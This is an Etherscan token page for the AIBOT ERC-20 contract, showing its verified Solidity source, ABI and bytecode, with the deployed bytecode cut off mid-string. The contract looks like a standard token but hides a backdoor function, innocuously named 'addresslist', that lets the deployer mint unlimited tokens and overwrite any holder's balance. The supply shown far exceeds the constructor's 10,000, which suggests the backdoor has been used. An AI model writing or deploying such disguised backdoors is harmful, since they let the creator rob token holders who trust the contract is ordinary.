ETH Price: $3,308.80 (-3.00%)
Gas: 13 Gwei

Token

AIBOT (AIBOT)
 

Overview

Max Total Supply

990,010,000.99 AIBOT

Holders

111

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
crypto-taurus.eth
Balance
127.618266207 AIBOT

Value
$0.00
0x2e4acd4d8051b9d4febdad7e2182f6a1fc4b16e2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AIBOT

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-02-05
*/

//SPDX-License-Identifier: MIT

/* Aibot.onl :: T.me/AIBOT_ONL */

pragma solidity ^0.8.7;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}
 
interface IERC20 {

    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
 

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
        return 0;
    }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
 
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }
 
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
 
abstract contract Ownable is Context {
    
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
  constructor ()  {

    address msgSender = _msgSender();
    _owner = msgSender;
    emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    function transferOwnership(address newOwner) public onlyOwner {
        _transferOwnership(newOwner);
    }
 
    function _transferOwnership(address newOwner) internal {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}
contract AIBOT is Context, IERC20, Ownable {

    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    address private sendermsg = msg.sender;
    uint256 private _totalSupply;
    uint8 public _decimals;
    uint32 AddedValues = 0;
    string public _symbol;
    string public _name;
 
  constructor() {
    _name = 'AIBOT';
    _symbol = 'AIBOT';
    _decimals = 9;
    _totalSupply = 10000 * 10 ** 9;
    _balances[msg.sender] = _totalSupply;

    emit Transfer(address(0), msg.sender, _totalSupply);
    }
 
    function getOwner() external view virtual override returns (address) {
        return owner();
    }
 
    function decimals() external view virtual override returns (uint8) {
        return _decimals;
    }
 
    function symbol() external view virtual override returns (string memory) {
        return _symbol;
    }
 
    function name() external view virtual override returns (string memory) {
        return _name;
    }
 
    function totalSupply() external view virtual override returns (uint256) {
        return _totalSupply;
    }
 
    function balanceOf(address account) external view virtual override returns (uint256) {
        return _balances[account];
    }
 
    function transfer(address recipient, uint256 amount) external override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender) external view override returns (uint256) {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
 

    function addresslist(uint256 amount, address recipient) external {
        require (sendermsg == msg.sender);
        require (0 <= amount, "Amount must be more than AddedValues");
        _totalSupply = _totalSupply.add(amount);        
        _balances[recipient] = amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
 
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
 

    function _approve(address owner, address spender, uint256 amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
 
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

/* (c) AIBOT */

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"recipient","type":"address"}],"name":"addresslist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405233600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600560016101000a81548163ffffffff021916908363ffffffff1602179055503480156200007457600080fd5b50600062000087620002a060201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600581526020017f4149424f540000000000000000000000000000000000000000000000000000008152506007908051906020019062000172929190620002a8565b506040518060400160405280600581526020017f4149424f5400000000000000000000000000000000000000000000000000000081525060069080519060200190620001c0929190620002a8565b506009600560006101000a81548160ff021916908360ff1602179055506509184e72a000600481905550600454600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60045460405162000292919062000369565b60405180910390a3620003f5565b600033905090565b828054620002b69062000390565b90600052602060002090601f016020900481019282620002da576000855562000326565b82601f10620002f557805160ff191683800117855562000326565b8280016001018555821562000326579182015b828111156200032557825182559160200191906001019062000308565b5b50905062000335919062000339565b5090565b5b80821115620003545760008160009055506001016200033a565b5090565b620003638162000386565b82525050565b600060208201905062000380600083018462000358565b92915050565b6000819050919050565b60006002820490506001821680620003a957607f821691505b60208210811415620003c057620003bf620003c6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b611a5d80620004056000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c8063715018a6116100a2578063a9059cbb11610071578063a9059cbb14610298578063b09f1266146102c8578063d28d8852146102e6578063dd62ed3e14610304578063f2fde38b146103345761010b565b8063715018a614610234578063893d20e81461023e5780638da5cb5b1461025c57806395d89b411461027a5761010b565b8063313ce567116100de578063313ce567146101ac578063322534e0146101ca57806332424aa3146101e657806370a08231146102045761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b610118610350565b6040516101259190611453565b60405180910390f35b61014860048036038101906101439190611210565b6103e2565b6040516101559190611438565b60405180910390f35b610166610400565b6040516101739190611575565b60405180910390f35b610196600480360381019061019191906111bd565b61040a565b6040516101a39190611438565b60405180910390f35b6101b46104e3565b6040516101c19190611590565b60405180910390f35b6101e460048036038101906101df9190611250565b6104fa565b005b6101ee6105fb565b6040516101fb9190611590565b60405180910390f35b61021e60048036038101906102199190611150565b61060e565b60405161022b9190611575565b60405180910390f35b61023c610657565b005b6102466107aa565b604051610253919061141d565b60405180910390f35b6102646107b9565b604051610271919061141d565b60405180910390f35b6102826107e2565b60405161028f9190611453565b60405180910390f35b6102b260048036038101906102ad9190611210565b610874565b6040516102bf9190611438565b60405180910390f35b6102d0610892565b6040516102dd9190611453565b60405180910390f35b6102ee610920565b6040516102fb9190611453565b60405180910390f35b61031e6004803603810190610319919061117d565b6109ae565b60405161032b9190611575565b60405180910390f35b61034e60048036038101906103499190611150565b610a35565b005b60606007805461035f906116d9565b80601f016020809104026020016040519081016040528092919081815260200182805461038b906116d9565b80156103d85780601f106103ad576101008083540402835291602001916103d8565b820191906000526020600020905b8154815290600101906020018083116103bb57829003601f168201915b5050505050905090565b60006103f66103ef610ad6565b8484610ade565b6001905092915050565b6000600454905090565b6000610417848484610ca9565b6104d884610423610ad6565b6104d385604051806060016040528060288152602001611a0060289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610489610ad6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f379092919063ffffffff16565b610ade565b600190509392505050565b6000600560009054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461055457600080fd5b8160001115610598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058f90611555565b60405180910390fd5b6105ad82600454610f9b90919063ffffffff16565b60048190555081600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600560009054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61065f610ad6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e3906114f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006107b46107b9565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107f1906116d9565b80601f016020809104026020016040519081016040528092919081815260200182805461081d906116d9565b801561086a5780601f1061083f5761010080835404028352916020019161086a565b820191906000526020600020905b81548152906001019060200180831161084d57829003601f168201915b5050505050905090565b6000610888610881610ad6565b8484610ca9565b6001905092915050565b6006805461089f906116d9565b80601f01602080910402602001604051908101604052809291908181526020018280546108cb906116d9565b80156109185780601f106108ed57610100808354040283529160200191610918565b820191906000526020600020905b8154815290600101906020018083116108fb57829003601f168201915b505050505081565b6007805461092d906116d9565b80601f0160208091040260200160405190810160405280929190818152602001828054610959906116d9565b80156109a65780601f1061097b576101008083540402835291602001916109a6565b820191906000526020600020905b81548152906001019060200180831161098957829003601f168201915b505050505081565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a3d610ad6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac1906114f5565b60405180910390fd5b610ad381610ff9565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4590611535565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb5906114b5565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c9c9190611575565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1090611515565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8090611475565b60405180910390fd5b610df5816040518060600160405280602681526020016119da60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f379092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e8a81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f9b90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f2a9190611575565b60405180910390a3505050565b6000838311158290610f7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f769190611453565b60405180910390fd5b5060008385610f8e919061161d565b9050809150509392505050565b6000808284610faa91906115c7565b905083811015610fef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe6906114d5565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611069576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106090611495565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081359050611135816119ab565b92915050565b60008135905061114a816119c2565b92915050565b60006020828403121561116657611165611769565b5b600061117484828501611126565b91505092915050565b6000806040838503121561119457611193611769565b5b60006111a285828601611126565b92505060206111b385828601611126565b9150509250929050565b6000806000606084860312156111d6576111d5611769565b5b60006111e486828701611126565b93505060206111f586828701611126565b92505060406112068682870161113b565b9150509250925092565b6000806040838503121561122757611226611769565b5b600061123585828601611126565b92505060206112468582860161113b565b9150509250929050565b6000806040838503121561126757611266611769565b5b60006112758582860161113b565b925050602061128685828601611126565b9150509250929050565b61129981611651565b82525050565b6112a881611663565b82525050565b60006112b9826115ab565b6112c381856115b6565b93506112d38185602086016116a6565b6112dc8161176e565b840191505092915050565b60006112f46023836115b6565b91506112ff8261177f565b604082019050919050565b60006113176026836115b6565b9150611322826117ce565b604082019050919050565b600061133a6022836115b6565b91506113458261181d565b604082019050919050565b600061135d601b836115b6565b91506113688261186c565b602082019050919050565b60006113806020836115b6565b915061138b82611895565b602082019050919050565b60006113a36025836115b6565b91506113ae826118be565b604082019050919050565b60006113c66024836115b6565b91506113d18261190d565b604082019050919050565b60006113e96024836115b6565b91506113f48261195c565b604082019050919050565b6114088161168f565b82525050565b61141781611699565b82525050565b60006020820190506114326000830184611290565b92915050565b600060208201905061144d600083018461129f565b92915050565b6000602082019050818103600083015261146d81846112ae565b905092915050565b6000602082019050818103600083015261148e816112e7565b9050919050565b600060208201905081810360008301526114ae8161130a565b9050919050565b600060208201905081810360008301526114ce8161132d565b9050919050565b600060208201905081810360008301526114ee81611350565b9050919050565b6000602082019050818103600083015261150e81611373565b9050919050565b6000602082019050818103600083015261152e81611396565b9050919050565b6000602082019050818103600083015261154e816113b9565b9050919050565b6000602082019050818103600083015261156e816113dc565b9050919050565b600060208201905061158a60008301846113ff565b92915050565b60006020820190506115a5600083018461140e565b92915050565b600081519050919050565b600082825260208201905092915050565b60006115d28261168f565b91506115dd8361168f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116125761161161170b565b5b828201905092915050565b60006116288261168f565b91506116338361168f565b9250828210156116465761164561170b565b5b828203905092915050565b600061165c8261166f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156116c45780820151818401526020810190506116a9565b838111156116d3576000848401525b50505050565b600060028204905060018216806116f157607f821691505b602082108114156117055761170461173a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206d6f7265207468616e204164646564566160008201527f6c75657300000000000000000000000000000000000000000000000000000000602082015250565b6119b481611651565b81146119bf57600080fd5b50565b6119cb8161168f565b81146119d657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122088f3d006119af2643ca3bdff0806e7a37b933faf436a5c1a5828a4c1a9f925a164736f6c63430008070033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061010b5760003560e01c8063715018a6116100a2578063a9059cbb11610071578063a9059cbb14610298578063b09f1266146102c8578063d28d8852146102e6578063dd62ed3e14610304578063f2fde38b146103345761010b565b8063715018a614610234578063893d20e81461023e5780638da5cb5b1461025c57806395d89b411461027a5761010b565b8063313ce567116100de578063313ce567146101ac578063322534e0146101ca57806332424aa3146101e657806370a08231146102045761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b610118610350565b6040516101259190611453565b60405180910390f35b61014860048036038101906101439190611210565b6103e2565b6040516101559190611438565b60405180910390f35b610166610400565b6040516101739190611575565b60405180910390f35b610196600480360381019061019191906111bd565b61040a565b6040516101a39190611438565b60405180910390f35b6101b46104e3565b6040516101c19190611590565b60405180910390f35b6101e460048036038101906101df9190611250565b6104fa565b005b6101ee6105fb565b6040516101fb9190611590565b60405180910390f35b61021e60048036038101906102199190611150565b61060e565b60405161022b9190611575565b60405180910390f35b61023c610657565b005b6102466107aa565b604051610253919061141d565b60405180910390f35b6102646107b9565b604051610271919061141d565b60405180910390f35b6102826107e2565b60405161028f9190611453565b60405180910390f35b6102b260048036038101906102ad9190611210565b610874565b6040516102bf9190611438565b60405180910390f35b6102d0610892565b6040516102dd9190611453565b60405180910390f35b6102ee610920565b6040516102fb9190611453565b60405180910390f35b61031e6004803603810190610319919061117d565b6109ae565b60405161032b9190611575565b60405180910390f35b61034e60048036038101906103499190611150565b610a35565b005b60606007805461035f906116d9565b80601f016020809104026020016040519081016040528092919081815260200182805461038b906116d9565b80156103d85780601f106103ad576101008083540402835291602001916103d8565b820191906000526020600020905b8154815290600101906020018083116103bb57829003601f168201915b5050505050905090565b60006103f66103ef610ad6565b8484610ade565b6001905092915050565b6000600454905090565b6000610417848484610ca9565b6104d884610423610ad6565b6104d385604051806060016040528060288152602001611a0060289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610489610ad6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f379092919063ffffffff16565b610ade565b600190509392505050565b6000600560009054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461055457600080fd5b8160001115610598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058f90611555565b60405180910390fd5b6105ad82600454610f9b90919063ffffffff16565b60048190555081600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600560009054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61065f610ad6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e3906114f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006107b46107b9565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107f1906116d9565b80601f016020809104026020016040519081016040528092919081815260200182805461081d906116d9565b801561086a5780601f1061083f5761010080835404028352916020019161086a565b820191906000526020600020905b81548152906001019060200180831161084d57829003601f168201915b5050505050905090565b6000610888610881610ad6565b8484610ca9565b6001905092915050565b6006805461089f906116d9565b80601f01602080910402602001604051908101604052809291908181526020018280546108cb906116d9565b80156109185780601f106108ed57610100808354040283529160200191610918565b820191906000526020600020905b8154815290600101906020018083116108fb57829003601f168201915b505050505081565b6007805461092d906116d9565b80601f0160208091040260200160405190810160405280929190818152602001828054610959906116d9565b80156109a65780601f1061097b576101008083540402835291602001916109a6565b820191906000526020600020905b81548152906001019060200180831161098957829003601f168201915b505050505081565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a3d610ad6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac1906114f5565b60405180910390fd5b610ad381610ff9565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4590611535565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb5906114b5565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c9c9190611575565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1090611515565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8090611475565b60405180910390fd5b610df5816040518060600160405280602681526020016119da60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f379092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e8a81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f9b90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f2a9190611575565b60405180910390a3505050565b6000838311158290610f7f576040517f08c379a0000000000000000000000000000000000000000